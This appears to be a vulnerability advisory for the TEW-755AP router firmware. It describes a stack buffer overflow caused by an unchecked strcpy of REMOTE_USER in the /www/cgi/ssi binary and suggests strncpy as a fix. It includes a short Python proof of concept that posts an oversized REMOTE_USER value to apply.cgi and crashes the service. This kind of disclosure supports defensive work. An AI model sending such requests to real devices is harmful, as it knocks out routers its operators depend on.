We found a stack buffer overflow vulnerability at **TEW-755AP (**Firmware version TEW755AP-FW113B01.bin).

Untitled

In the function get_access (sub_45AC2C) of the file /www/cgi/ssi, the value of REMOTE_USER is directly copied to stack buffer via strcpy without size check. An attacker can overflow the stack buffer by specifying REMOTE_USER as a very long string.

PoC

import requests

url = "<http://192.168.17.221:80/apply.cgi>"
cookie = {"Cookie":"uid=1234"}
data = {'action' : "create_folder",
"REMOTE_USER" : "a"*0x1000}
response = requests.post(url, cookies=cookie, data=data)
print(response.text)
print(response)

We use python to send a crafted HTTP post request to the web server, and print out the return message. Since the action create_folder will execute get_access, we specify it as the entry.

Untitled

Send the crafted HTTP request to the server, it will return 502 error code.

Fix Suggestion:

Use strncpy to perform avoid buffer overflow